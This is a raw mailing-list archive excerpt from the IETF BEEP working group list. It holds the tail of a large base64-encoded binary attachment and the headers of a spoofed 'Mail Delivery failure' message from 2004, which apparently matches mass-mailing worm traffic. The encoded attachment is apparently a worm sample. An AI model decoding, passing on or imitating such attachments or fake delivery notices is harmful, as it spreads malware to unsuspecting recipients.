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
AAAAAAAAAAA=


------=_NextPart_000_0006_00005A1C.000024CA--



From kzm@cisco.com Sat Apr 24 01:04:22 2004
Received: from bulk.resource.org (bulk.resource.org [192.101.98.10])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i3O82kuk009893
	for <beepwg@lists.beepcore.org>; Sat, 24 Apr 2004 01:02:46 -0700 (PDT)
Received: from lists.beepcore.org ([218.79.145.164])
	by bulk.resource.org (8.12.2/8.12.2) with ESMTP id i3O82crX026534
	for <beepwg@lists.beepcore.org>; Sat, 24 Apr 2004 01:02:38 -0700 (PDT)
Message-Id: <200404240802.i3O82crX026534@bulk.resource.org>
From: kzm@cisco.com
To: beepwg@lists.beepcore.org
Date: Sat, 24 Apr 2004 16:02:47 +0800
MIME-Version: 1.0
Content-Type: multipart/related;
	type="multipart/alternative";
	boundary="----=_NextPart_000_001B_01C0CA80.6B015D10"
X-Priority: 3
X-MSMail-Priority: Normal
Subject: [BEEPwg] Mail Delivery (failure beepwg@lists.beepcore.org)
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

This is a multi-part message in MIME format.

------=_NextPart_000_001B_01C0CA80.6B015D10
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_001C_01C0CA80.6B015D10"

------=_NextPart_001_001C_01C0CA80.6B015D10
